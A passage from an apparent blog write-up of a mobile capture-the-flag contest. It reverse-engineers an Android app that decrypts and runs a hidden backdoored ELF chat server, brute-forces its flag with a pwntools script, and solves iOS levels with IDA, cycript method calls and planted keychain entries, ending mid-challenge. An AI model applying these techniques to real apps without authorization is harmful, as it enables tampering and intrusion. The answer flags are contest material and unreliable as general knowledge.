<span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="k">this</span><span class="o">.</span><span class="na">bis</span><span class="o">.</span><span class="na">available</span><span class="o">()];</span>
<span class="k">this</span><span class="o">.</span><span class="na">bis</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">arrayOfByte</span><span class="o">);</span>
<span class="n">localBufferedOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">decrypt</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="n">paramIntent</span><span class="o">,</span> <span class="n">arrayOfByte</span><span class="o">));</span>
<span class="n">localBufferedOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="k">this</span><span class="o">.</span><span class="na">bis</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="n">paramContext</span><span class="o">.</span><span class="na">setExecutable</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="k">try</span>
<span class="o">{</span>
<span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="n">paramContext</span><span class="o">.</span><span class="na">getAbsolutePath</span><span class="o">());</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">paramContext</span><span class="o">)</span> <span class="o">{}</span>
<span class="o">}</span>
<span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">paramIntent</span><span class="o">)</span>
<span class="o">{</span>
<span class="k">for</span> <span class="o">(;;)</span> <span class="o">{}</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The <code class="language-plaintext highlighter-rouge">onCreate</code> function looks for the <code class="language-plaintext highlighter-rouge">super-dooper</code> file and then tries to decrypt it based on the params <code class="language-plaintext highlighter-rouge">herpaderp</code> and <code class="language-plaintext highlighter-rouge">lerpaherp</code>. There is however, a check for the two values and this might be the constraint that we have to solve to get the decryption key.</p>
<p>Looking at <code class="language-plaintext highlighter-rouge">checkSomething1</code> and <code class="language-plaintext highlighter-rouge">checkSomething2</code>, we can slowly reverse the <code class="language-plaintext highlighter-rouge">smali</code> code which is iterating each character in a switch case and checking if the index of the character matches the value expected. With some work, we obtained <code class="language-plaintext highlighter-rouge">b1ahbl4hbl4hblop</code> for <code class="language-plaintext highlighter-rouge">checkSomething1</code> and <code class="language-plaintext highlighter-rouge">mmhmthisdatgoods</code> for <code class="language-plaintext highlighter-rouge">checkSomething2</code>.</p>
<p>Though we are stuck without the <code class="language-plaintext highlighter-rouge">super-dooper</code> file, a simple test with <code class="language-plaintext highlighter-rouge">secretasset</code> shows that this decryption is meant for it. Again, using the same decryption Java program above, but with the new key/IV, we obtained a ELF binary.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>→ file secretasset-decrypted.jar
b.jar: ELF 32-bit LSB shared object, ARM, EABI5 version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /system/bin/linker, BuildID[sha1]<span class="o">=</span>12c1ab8273eb1b3b193b61aaa45a2a02a332f32f, stripped
</pre></td></tr></tbody></table></code></pre></figure>
<p>Throwing the binary in IDA pro, we immediately see that a couple of interesting libc methods are imported like <code class="language-plaintext highlighter-rouge">bind</code>, <code class="language-plaintext highlighter-rouge">accept</code> and <code class="language-plaintext highlighter-rouge">listen</code>, this seems to hint that the program might be communicating through the network.</p>
<p>With that in mind, I ran the APK application, fed the text input with <code class="language-plaintext highlighter-rouge">UCFh%divfMtY3pPD</code>, which the process then proceeds to decrypt <code class="language-plaintext highlighter-rouge">something.jar</code> and sets up the intent receiver. Following that, I invoke the intent with the following command, <code class="language-plaintext highlighter-rouge">adb shell am broadcast -a com.example.asdf.SEND -e herpaderp b1ahbl4hbl4hblop -e lerpaherp mmhmthisdatgoods</code> to start the execution of the ELF binary.</p>
<p>Once that is in place, a simple netstat shows that a service is indeed listening on port 1337.</p>
<p>We can attempt to communicate with it using netcat:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre>→ nc 192.168.1.20 1337
<span class="o"><<</span><span class="no">JOIN</span><span class="sh">, HELLO 13
</span><span class="se">\H</span><span class="sh">ELP
</span><span class="se">\Q</span><span class="sh">UIT Quit chatroom
</span><span class="se">\P</span><span class="sh">ING Server test
</span><span class="se">\N</span><span class="sh">AME <name> Change nickname
</span><span class="se">\P</span><span class="sh">RIVATE <reference> <message> Send private message
</span><span class="se">\A</span><span class="sh">CTIVE Show active clients
</span><span class="se">\H</span><span class="sh">ELP Show help</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Looking at the bind method in IDA pro, we can trace the code to the method located at <code class="language-plaintext highlighter-rouge">0x00001B10</code>, the method which handles all data received by the socket.</p>
<p>The method appears to be decrypting string constants with static xor keys and with some effort, we can figure out what the method is doing. For most part of the method, the procedure seems to be doing nothing malicious. However, for <code class="language-plaintext highlighter-rouge">\PRIVATE</code>, there appears to be a hidden procedure that resemblance a backdoor.</p>
<p>The <code class="language-plaintext highlighter-rouge">\PRIVATE</code> procedure calls a method located at <code class="language-plaintext highlighter-rouge">0x00001820</code> that takes in the <code class="language-plaintext highlighter-rouge">reference</code> and <code class="language-plaintext highlighter-rouge">message</code> as parameter.</p>
<p>In the method, it appears that if the <code class="language-plaintext highlighter-rouge">reference</code> equals to <code class="language-plaintext highlighter-rouge">1337</code>, the backdoor is activated. The decrypted String constants in the method is <code class="language-plaintext highlighter-rouge">gettin it done</code> and <code class="language-plaintext highlighter-rouge">Nice one!</code>.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
</pre></td><td class="code"><pre><span class="n">result</span> <span class="o">=</span> <span class="n">strncmp</span><span class="p">(</span><span class="n">v5</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">dword_6CA0</span><span class="p">,</span> <span class="n">result</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">result</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v12</span> <span class="o">=</span> <span class="n">v7</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">v13</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v14</span> <span class="o">=</span> <span class="o">&</span><span class="n">dword_6020</span><span class="p">;</span>
<span class="n">v15</span> <span class="o">=</span> <span class="n">v12</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">v5</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v13</span> <span class="o">>=</span> <span class="n">result</span> <span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="n">sub_15A0</span><span class="p">(</span><span class="o">&</span><span class="n">v18</span><span class="p">);</span>
<span class="n">sub_15D8</span><span class="p">(</span><span class="o">&</span><span class="n">v18</span><span class="p">,</span> <span class="o">&</span><span class="n">v4</span><span class="p">[</span><span class="n">v13</span><span class="p">]</span> <span class="o">+</span> <span class="n">v15</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">sub_1668</span><span class="p">(</span><span class="o">&</span><span class="n">v19</span><span class="p">,</span> <span class="o">&</span><span class="n">v18</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">v14</span> <span class="o">==</span> <span class="n">v19</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="n">v20</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="n">v21</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="n">v22</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="n">v23</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">==</span> <span class="n">v24</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">==</span> <span class="n">v25</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="o">==</span> <span class="n">v26</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">==</span> <span class="n">v27</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">==</span> <span class="n">v28</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">==</span> <span class="n">v29</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">==</span> <span class="n">v30</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">12</span><span class="p">]</span> <span class="o">==</span> <span class="n">v31</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">13</span><span class="p">]</span> <span class="o">==</span> <span class="n">v32</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">14</span><span class="p">]</span> <span class="o">==</span> <span class="n">v33</span>
<span class="o">&&</span> <span class="n">v14</span><span class="p">[</span><span class="mi">15</span><span class="p">]</span> <span class="o">==</span> <span class="n">v34</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E1</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E2</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E3</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E4</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E5</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E6</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E0</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E7</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="n">byte_6CB0</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">unk_68E8</span> <span class="o">^</span> <span class="mh">0x26</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">v16</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">byte_6CB0</span><span class="p">);</span>
<span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">byte_6CB0</span><span class="p">,</span> <span class="n">v16</span><span class="p">);</span>
<span class="p">}</span>
<span class="o">++</span><span class="n">v13</span><span class="p">;</span>
<span class="n">v14</span> <span class="o">+=</span> <span class="mi">16</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">v3</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This portion of the method seems to be checking that the <code class="language-plaintext highlighter-rouge">message</code> provided starts with <code class="language-plaintext highlighter-rouge">gettin it done</code> and then appears to be checking each character after with against a hash value (by first hashing each character and checking against a hash stored in the binary). If the hash matches, it writes <code class="language-plaintext highlighter-rouge">Nice one!</code> to the socket response.</p>
<p>With that, I wrote a simple Python script that bruteforces each printable character until we obtain our 6th flag!</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
</pre></td><td class="code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span><span class="p">,</span> <span class="n">os</span> <span class="o">=</span> <span class="s">'linux'</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'192.168.1.20'</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>
<span class="n">pre</span><span class="o">=</span><span class="s">"\PRIVATE 1337 gettin it done "</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="n">curr</span> <span class="o">=</span> <span class="s">"cApwN{d"</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">curr</span><span class="p">)</span> <span class="o"><</span> <span class="mi">35</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">string</span><span class="p">.</span><span class="n">printable</span><span class="p">:</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">pre</span><span class="o">+</span><span class="n">curr</span><span class="o">+</span><span class="n">i</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"\PING"</span><span class="p">)</span>
<span class="n">a</span><span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"<<PONG"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">a</span><span class="p">.</span><span class="n">count</span><span class="p">(</span><span class="s">"Nice one!"</span><span class="p">)</span> <span class="o">></span> <span class="nb">len</span><span class="p">(</span><span class="n">curr</span><span class="p">):</span>
<span class="n">curr</span> <span class="o">+=</span> <span class="n">i</span>
<span class="k">print</span> <span class="n">curr</span>
<span class="sb">``</span><span class="err">`</span>
<span class="n">After</span> <span class="n">running</span> <span class="n">the</span> <span class="n">python</span> <span class="n">script</span><span class="p">,</span> <span class="n">we</span> <span class="n">eventually</span> <span class="n">obtain</span> <span class="n">our</span> <span class="n">flag</span> <span class="n">after</span> <span class="n">some</span> <span class="n">time</span><span class="p">.</span>
<span class="sb">``</span><span class="err">`</span>
<span class="o"><<</span><span class="n">JOIN</span><span class="p">,</span> <span class="n">HELLO</span> <span class="mi">32</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3u</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_m</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4p</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_i</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_a</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_au</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_aug</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_augm</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_augm3</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_augm3n</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_augm3nt</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_augm3nte</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_augm3nted</span>
<span class="n">cApwN</span><span class="p">{</span><span class="n">d3us_d3x_my_4pk_is_augm3nted</span><span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Our 6th and Last flag for Android: <code class="language-plaintext highlighter-rouge">cApwN{d3us_d3x_my_4pk_is_augm3nted}</code></p>
<h1 id="ios-write-ups">iOS Write ups</h1>
<p>I solved most of the iOS challenge with <code class="language-plaintext highlighter-rouge">snoop-it</code>, <code class="language-plaintext highlighter-rouge">mobile assistant</code>, jailbroken 32-bit device and an un-jailbroken 64-bit device.</p>
<h2 id="level-1-1">Level 1</h2>
<blockquote>
<p>WAKE ME UP, WAKE ME UP INSIDE. SAVE ME!!!!!<br />
(Note: Levels 1-4 use the same application)<br />
<a href="https://h1702ctf.com/themes/h1ctf/static/chals/IntroLevels-727e07e27199b5431fccc16850d67c4fea6596f7.ipa">IntroLevels-727e07e27199b5431fccc16850d67c4fea6596f7.ipa</a></p>
</blockquote>
<p>We can unzip the IPA file with an unarchiver tool to attempt to see if there are any asset or files which may be of interest. After which, we can use the cartool from <code class="language-plaintext highlighter-rouge">https://github.com/steventroughtonsmith/cartool</code> to decode the <code class="language-plaintext highlighter-rouge">Assets.car</code> file.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre>→ ~/CTF/tools/cartool/cartool Assets.car <span class="nb">.</span>
Matrix-Morpheus
Matrix-Morpheus.png
first
first.png
[email protected]
he-man-jon-chu-camp
he-man-jon-chu-camp.png
hqdefault
hqdefault.png
lizard
lizard.png
paper
paper.png
rock
rock.png
scissors
scissors.png
second
second.png
[email protected]
spock
spock.png
</pre></td></tr></tbody></table></code></pre></figure>
<p>Viewing the resources, we found our first flag in <code class="language-plaintext highlighter-rouge">Matrix-Morpheus.png</code>.</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/Matrix-Morpheus.png" alt="" /></p>
<p>Flag #1: <code class="language-plaintext highlighter-rouge">cApwN{y0u_are_th3_ch0sen_1}</code></p>
<h2 id="level-2-1">Level 2</h2>
<blockquote>
<p>And he prays…</p>
</blockquote>
<p>For Challenge 2, we can trace the ViewController for Level 2 to a method located at <code class="language-plaintext highlighter-rouge">0xA930</code>, this method seems to be checking the hash value of the text input with <code class="language-plaintext highlighter-rouge">5b6da8f65476a399050c501e27ab7d91</code> before appending <code class="language-plaintext highlighter-rouge">1234</code> and then using it as a key to decrypt some constant values.</p>
<p>Googling <code class="language-plaintext highlighter-rouge">5b6da8f65476a399050c501e27ab7d91</code> immediately gives us the MD5 Plaintext value of <code class="language-plaintext highlighter-rouge">424241</code>, and entering the plaintext value into the level 2 view gives us our second flag!</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/Challenge_2_flag.png" alt="" /></p>
<p>Flag #2: <code class="language-plaintext highlighter-rouge">cApwN{0mg_d0es_h3_pr4y}</code></p>
<h2 id="level-3-1">Level 3</h2>
<blockquote>
<p>Rock, paper, scissors is so juvenile. Play rock, paper, scissors, lizard, Spock!</p>
</blockquote>
<p>Again, in challenge 3, we can use the <code class="language-plaintext highlighter-rouge">snoop-it</code> application to attempt to figure out what the third view controller is doing.</p>
<p>When viewing the class, we notice that the view controller has a number of methods like <code class="language-plaintext highlighter-rouge">setLizardImage</code>, <code class="language-plaintext highlighter-rouge">reportBeingALoser</code> and so on. However, invoking the <code class="language-plaintext highlighter-rouge">things</code> method gave us our third flag.</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/Challenge_3_flag.png" alt="" /></p>
<p>Flag #3: <code class="language-plaintext highlighter-rouge">cApwN{1m_1n_ur_n00twork_tere3fik}</code></p>
<h2 id="level-4-1">Level 4</h2>
<blockquote>
<p>Use your flags from levels 1, 2, and 3 to do the thing!</p>
</blockquote>
<p>Challenge 4 appears to be telling us to use the first three flags to do the thing. This reminds me of the Android Challenge 4 where the first three flags are used to obtain the fourth flag.</p>
<p>Looking at the functions defined in IDA Pro, it seems like we are suppose to invoke the <code class="language-plaintext highlighter-rouge">ZhuLi.doTheThing</code> method.</p>
<p>Using cycript, we can easily invoke the method with our three previous flags, giving us our fourth flag!</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre>Quanyangs-iPhone:~ root# cycript <span class="nt">-p</span> IntroLevels
cy# <span class="nb">ls
</span>throw new ReferenceError<span class="o">(</span><span class="s2">"Can't find variable: ls"</span><span class="o">)</span>
cy# <span class="o">[</span>ZhuLi doTheThing: @<span class="s2">"cApwN{y0u_are_th3_ch0sen_1}"</span>flag2: @<span class="s2">"cApwN{0mg_d0es_h3_pr4y}"</span>lag3: @<span class="s2">"cApwN{1m_1n_ur_n00twork_tere3fik}"</span><span class="o">]</span>
@<span class="s2">"634170774e7b6630685f7377317a7a6c655f6d795f6e317a7a6c657d"</span>
cy#
In <span class="o">[</span>1]: <span class="s2">"634170774e7b6630685f7377317a7a6c655f6d795f6e317a7a6c657d"</span>.decode<span class="o">(</span><span class="s1">'hex'</span><span class="o">)</span>
Out[1]: <span class="s1">'cApwN{f0h_sw1zzle_my_n1zzle}'</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Flag #4: <code class="language-plaintext highlighter-rouge">cApwN{f0h_sw1zzle_my_n1zzle}</code></p>
<h2 id="level-5-1">Level 5</h2>
<blockquote>
<p>Looks like this thing is pretty locked down, I don’t think you can touch this.<br />
<a href="https://h1702ctf.com/themes/h1ctf/static/chals/Level5-69c2713162cb8f5e9418f8c08f3fa0a1ecb4928d.ipa">Level5-69c2713162cb8f5e9418f8c08f3fa0a1ecb4928d.ipa</a></p>
</blockquote>
<p>Throwing <code class="language-plaintext highlighter-rouge">Level5Demo</code> into IDA Pro, we can first see three custom methods which appears to be meddling with Keychain objects.</p>
<figure class="highlight"><pre><code class="language-objc" data-lang="objc"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="o">-</span><span class="p">[</span><span class="n">KeychainThing</span> <span class="nf">newSearchDictionary</span><span class="p">:]</span>
<span class="o">-</span><span class="p">[</span><span class="n">KeychainThing</span> <span class="nf">searchKeychainCopyMatching</span><span class="p">:]</span>
<span class="o">-</span><span class="p">[</span><span class="n">KeychainThing</span> <span class="nf">createKeychainValue</span><span class="p">:</span><span class="nf">forIdentifier</span><span class="p">:]</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Also, there are a couple of interesting Strings being defined.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__cstring:00011680 00000014 C com.uber.ctf.level5
__cstring:00012280 00000012 C setmeinurkeychain
__cstring:00012292 0000000D C youdidathing
</code></pre></div></div>
<p>Tracing <code class="language-plaintext highlighter-rouge">youdidathing</code>, we reach a method located at <code class="language-plaintext highlighter-rouge">0xa180</code>, this method appears to be searching the Keychain for the key <code class="language-plaintext highlighter-rouge">setmeinurkeychain</code> and then checking if the data value matches <code class="language-plaintext highlighter-rouge">youdidathing</code>.</p>
<p>With that, we can again make use of cycript to create the required Keychain items to see if this gives us our flag.</p>
<p>The following cycript script sets the required items.</p>
<figure class="highlight"><pre><code class="language-objc" data-lang="objc"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre><span class="n">var</span> <span class="n">key</span> <span class="o">=</span> <span class="s">@"setmeinurkeychain"</span>
<span class="n">var</span> <span class="n">encodedKey</span> <span class="o">=</span> <span class="p">[</span><span class="n">key</span> <span class="nf">dataUsingEncoding</span><span class="p">:</span><span class="n">NSUTF8StringEncoding</span><span class="p">];</span>
<span class="n">var</span> <span class="n">dict</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSMutableDictionary</span> <span class="nf">alloc</span><span class="p">]</span> <span class="nf">init</span><span class="p">];</span>
<span class="p">[</span><span class="n">dict</span> <span class="nf">setObject</span><span class="p">:</span><span class="n">kSecClassGenericPassword</span> <span class="nf">forKey</span><span class="p">:</span><span class="n">kSecClass</span><span class="p">];</span>
<span class="p">[</span><span class="n">dict</span> <span class="nf">setObject</span><span class="p">:</span><span class="n">encodedKey</span> <span class="nf">forKey</span><span class="p">:</span><span class="n">kSecAttrAccount</span><span class="p">];</span>
<span class="p">[</span><span class="n">dict</span> <span class="nf">setObject</span><span class="p">:</span><span class="n">encodedKey</span> <span class="nf">forKey</span><span class="p">:</span><span class="n">kSecAttrGeneric</span><span class="p">];</span>
<span class="n">var</span> <span class="n">service</span> <span class="o">=</span> <span class="s">@"com.uber.ctf.level5"</span>
<span class="p">[</span><span class="n">dict</span> <span class="nf">setObject</span><span class="p">:</span><span class="n">service</span> <span class="nf">forKey</span><span class="p">:</span><span class="n">kSecAttrService</span><span class="p">];</span>
<span class="p">[</span><span class="n">dict</span> <span class="nf">setObject</span><span class="p">:[</span><span class="s">@"youdidathing"</span> <span class="nf">dataUsingEncoding</span><span class="p">:</span><span class="n">NSUTF8StringEncoding</span><span class="p">]</span> <span class="nf">forKey</span><span class="p">:</span><span class="n">kSecValueData</span><span class="p">];</span>
<span class="p">[</span><span class="n">dict</span> <span class="nf">setObject</span><span class="p">:</span><span class="n">kSecAttrAccessibleAlwaysThisDeviceOnly</span> <span class="nf">forKey</span><span class="p">:</span><span class="n">kSecAttrAccessible</span><span class="p">]</span>
<span class="n">SecItemAdd</span><span class="p">(</span><span class="n">dict</span><span class="p">,</span><span class="nb">NULL</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p><img src="https://quanyang.github.io/resources/images/h1702/Challenge_5_keychain.png" alt="" /></p>
<p>We can also notice with <code class="language-plaintext highlighter-rouge">snoop-it</code> that there indeed was a keychain request for the key <code class="language-plaintext highlighter-rouge">setmeinurkeychain</code>.</p>
<p>After which, when we click the <code class="language-plaintext highlighter-rouge">Hammer time!</code> button, the app no longer crashes.</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/Challenge_5_flag_ios.png" alt="" /></p>
<p>This gives us our fifth flag!</p>
<p>Flag #5: <code class="language-plaintext highlighter-rouge">cApwN{i_guess_you_can_touch_this}</code></p>
<h2 id="level-6-1">Level 6</h2>
<blockquote>
<p>Hey look at me im Tiny Rick! Yeah now that I got your attention, I got this app here that Squanchy squanched on my phone. Looks like there is something in there… But I don’t give a @#$! I’m Tiny Rick!<br />
<a href="https://h1702ctf.com/themes/h1ctf/static/chals/Level6-679e59bdfb40233fb1359d098d7269a3320eabd2.ipa">Level6-679e59bdfb40233fb1359d098d7269a3320eabd2.ipa</a><br />
Update: This challenge did not function properly on iOS 32bit devices, here is the updated challenge <a href="https://h1702ctf.com/themes/h1ctf/static/chals/Level6-update-f0887a253daaa02e584bc9ff4edfeca1300887dc.ipa">Level6-update-f0887a253daaa02e584bc9ff4edfeca1300887dc.ipa</a><br />
